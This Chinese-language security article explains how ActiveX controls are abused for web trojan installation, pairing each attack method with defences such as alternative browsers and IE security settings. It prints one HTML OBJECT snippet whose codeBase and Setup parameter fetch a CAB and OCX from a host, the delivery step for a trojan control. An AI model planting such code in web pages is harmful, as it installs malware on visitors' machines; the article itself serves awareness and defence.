萬盛學電腦網

 萬盛學電腦網 >> 病毒防治 >> 剖析ActiveX掛馬:以安裝的名義入侵

剖析ActiveX掛馬:以安裝的名義入侵

  曾幾何時, 利用ActiveX是流氓軟件“行凶”的主要技術手段之一,如今流氓軟件大多都已經作古了,可ActiveX並沒有退出人們的視野,網頁掛馬看上了它,於是ActiveX掛馬流行起來,成為了重要的幾種掛馬方式之一。

  北岸團隊張貴嶺:資深安全工程師,從事安全行業十余年。

  ActiveX是微軟開發的。微軟的程序員似乎把世界想象得太過於善良,認為沒有人會用ActiveX作惡。當年惡意軟件流行的時期,一家名為“XX寶貝視頻聊天室”的網站就曾利用色誘的方式,誘惑用戶主動安裝網站的ActiveX視頻聊天控件。

  該ActiveX控件不僅會主動跟蹤用戶網絡信息,而且還有彈出廣告、上傳用戶Word文檔等流氓行為。當利用ActiveX作惡的流氓軟件越來越多後,微軟在IE7中就忍痛添加了關於ActiveX認證的措施。如今所有的ActiveX在IE7中都會先屏蔽,而不再像當初一樣主動彈出安裝窗口。

  小百科:ActiveX是Microsoft對於一系列策略性面向對象程序技術和工具的稱呼,ActiveX控件在使用時需要安裝。

  誰捧紅了ActiveX掛馬?

  在流氓軟件野蠻生長的那幾年,流氓軟件也如同各路山賊土匪一樣,往往會因為爭奪用戶電腦中的重要位置而發生火拼,於是許多用來制造病毒的技術被應用到了這些流氓軟件身上。後來病毒也開始向流氓軟件取經,流氓軟件使用的一些技術也被病毒拿來使用,ActiveX掛馬應該是病毒從流氓軟件身上學習的最徹底的技術。

  小百科:許多浏覽器在支持ActiveX方面並不如IE來得積極,雖然Firefox、網景等浏覽器都在不同程度上支持ActiveX,但是ActiveX出現問題最多的仍然是IE浏覽器。

  ActiveX會被掛馬者利用,其實主要問題在於它的認證機制。早期,如果一個網站上有需要安裝ActiveX才能夠看到的東西,那麼在你訪問該網站的時候,相關的ActiveX會反復地彈出提示要求你安裝它,許多用戶往往會因為各種原因點擊“確定”,允許ActiveX控件安裝。

  這就如同你走在馬路上,有一群人說自己原意跟你交朋友,這些人在你面前一一經過,你可以選擇點頭同意或者搖頭否定,凡是你點頭同意的人都可以成為你的朋友,他們可以自由進出你的家。恐怖的是,有些人在成為你朋友之後,你才發現他是個小偷或者無賴流氓。

  目前利用ActiveX掛馬主要有兩種形式,一種是利用正常程序的ActiveX漏洞進行溢出掛馬,另外一種則是直接編寫惡意的ActiveX木馬程序,將惡意的木馬程序偽裝成看似有某項功能的ActiveX控件,欺騙用戶安裝。接下來的案例中我們將會為大家演示黑客如何利用ActiveX掛馬。

  ActiveX掛馬攻防實錄

  方法1:通過漏洞掛馬

  攻
  黑客利用ActiveX進行網頁掛馬,最常見的方法就是利用那些有漏洞的ActiveX控件進行掛馬,通過用戶系統內已有的ActiveX控件的觸發,讓木馬在不知不覺中植入用戶的電腦。

  其中利用軟件ActiveX漏洞發動攻擊的著名例子有Flash和RealPlayer的ActiveX漏洞掛馬程序,這些軟件的ActiveX漏洞都曾經造成了極大的危害,特別是RealPlayer至今仍然有黑客在使用它的ActiveX漏洞進行掛馬。

  下面以DjVu ActiveX控件漏洞為例講解掛馬的具體步驟,首先將惡意代碼輸入到寫字板中,然後另存為任意的HTML文件,然後利用IFRAME代碼將生成的HTML文件嵌入到正常的網頁中,此時輸入網址打開含有DjVu ActiveX控件漏洞的網頁,本機的計算器程序就會被觸發開啟。而黑客通常不會這麼善良,他們會將Shellcode代碼修改成下載指定惡意程序的代碼,然後讓用戶在打開相關網站後中招。

  小百科:DjVu ActiveX控件是用於壓縮圖形文件的工具,它在處理超長的ImageURL屬性參數時會出現溢出。

  防
  對於利用ActiveX漏洞來進行掛馬的行為,最好的防范方法是使用IE之外的浏覽器,例如Firefox、Maxthon或360安全浏覽器。此外,最好能夠安裝防掛馬軟件。

  方法2:編寫ActiveX木馬

  攻
  ActiveX木馬是利用一些用戶盲目地點擊網頁上彈出的ActiveX詢問安裝按鈕的習慣而進行傳播的。許多用戶往往並不能夠分辨出哪些ActiveX控件是無害的,哪些ActiveX控件是有害的。

  那些ActiveX木馬會打著視頻聊天、美女圖庫等誘惑性的幌子,一些經不起誘惑的用戶就會沖動性地安裝網頁中的ActiveX木馬。

  編寫ActiveX木馬,需要一定的編程基礎,而且整個過程相當復雜,由於版面的原因,這裡只向各位想成為安全工程師的朋友簡單闡述一下ActiveX木馬的大致編寫過程。

  首先黑客會編寫一個具有Download或者其他惡意功能的OCX控件,這是ActiveX木馬的核心和靈魂,然後黑客會再編寫一個Setup安全設置的INF文件,用CAB壓縮工具,例如WinCAB,將兩個文件壓縮打包成一個CAB文件。

  最後黑客將該文件上傳到自己的網站中,並在網頁中寫入調用安裝ActiveX控件的代碼即可開張等待浏覽該網頁的用戶上鉤。

  調用代碼如下:

  <OBJECT classid=clsid:68ADAF59-76C1-4561-A45A-867F43545237
  codeBase=http://192.168.1.1/web/setup.cab#version=1,0,0,0>
  <PARAM NAME="Setup" VALUE="http:// 192.168.1.1/web/download.ocx">
  </OBJECT>

  這樣的ActiveX木馬是沒有簽名驗證的,通常不會被允許安裝,但是仍然有方法可以突破這些安全限制。

  防
  要避免ActiveX木馬的攻擊只要禁止ActiveX木馬被調用運行就可以了。

  防范此種方式掛馬的最好方法還是在客戶終端機上操作,在客戶終端機運行IE浏覽器,點擊“工具→Internet選項→安全→自定義級別”,將安全級別定義為“高”,對“ActiveX控件和插件”中第2項、第3項設置為“禁用”,其他項設置為“提示”,之後點擊“確定”。這樣設置後,當你使用IE浏覽網頁時,就能有效避免ActiveX木馬的攻擊。

copyright © 萬盛學電腦網 all rights reserved